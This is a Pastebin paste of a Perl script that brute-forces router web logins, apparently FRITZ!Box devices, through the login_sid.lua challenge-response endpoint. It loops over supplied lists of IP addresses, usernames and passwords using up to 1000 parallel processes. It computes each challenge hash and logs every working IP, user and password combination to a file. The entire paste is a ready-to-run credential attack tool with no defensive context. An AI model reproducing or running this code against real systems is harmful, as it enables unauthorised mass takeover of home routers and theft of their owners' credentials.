Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- use Parallel::ForkManager;
- use LWP::UserAgent;
- use Digest::MD5 "md5_hex";
- my $ips = $ARGV[0];
- my $users = $ARGV[1];
- my $passlst = $ARGV[2];
- my $filename = "fritx.txt";
- my $max_processes = "1000";
- my $pm = Parallel::ForkManager->new($max_processes);
- open my $handle1, '<', $ips;
- chomp(my @IPS = <$handle1>);
- close $handle1;
- open my $handle2, '<', $passlst;
- chomp(my @PASSLST = <$handle2>);
- close $handle2;
- open my $handle3, '<', $users;
- chomp(my @USERS = <$handle3>);
- close $handle3;
- foreach $boxpasswort (@PASSLST){
- chomp($boxpasswort);
- foreach $user (@USERS){
- chomp($user);
- foreach $ip (@IPS){
- chomp($ip);
- my $pid = $pm->start and next;
- ##
- alarm("5");
- my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 },);
- my $url = $ip."login_sid.lua";
- my $response = $ua->get($url);
- $response->as_string() =~ /<Challenge>(\w+)/i and my $challengeStr = $1;
- my $head = $response->as_string();
- #print "$head\n";
- #print $challengeStr."\n";
- my $ch_Pw = "$challengeStr-$boxpasswort";
- #print "challange-password => $ch_Pw\t\n";
- $ch_Pw =~ s/(.)/$1 . chr(0)/eg;
- my $md5 = lc(md5_hex($ch_Pw));
- #print "crypted md5 challange-password => $md5\n\n";
- my $challenge_response = "$challengeStr-$md5";
- #print "final $challenge_response\n";
- my $login = $ua->get("$url?user=$user&response=$challenge_response");
- my $shit = $login->as_string();
- #print "$shit\n";
- if($login->content =~ /<SID>(\w+)/i and my $sid = $1 && $login->content =~ /<Name>(\w+)/i){
- print "logged with sid $sid\n\n";
- open(OUTPUT,">>$filename");
- print OUTPUT "$ip $user $boxpasswort\r\n";
- close (OUTPUT);
- }
- else{print "not logged $url $user $boxpasswort \r";}
- ##
- $pm->finish;
- }
- $pm->wait_all_children();
- }
- }
Add Comment
Please, Sign In to add comment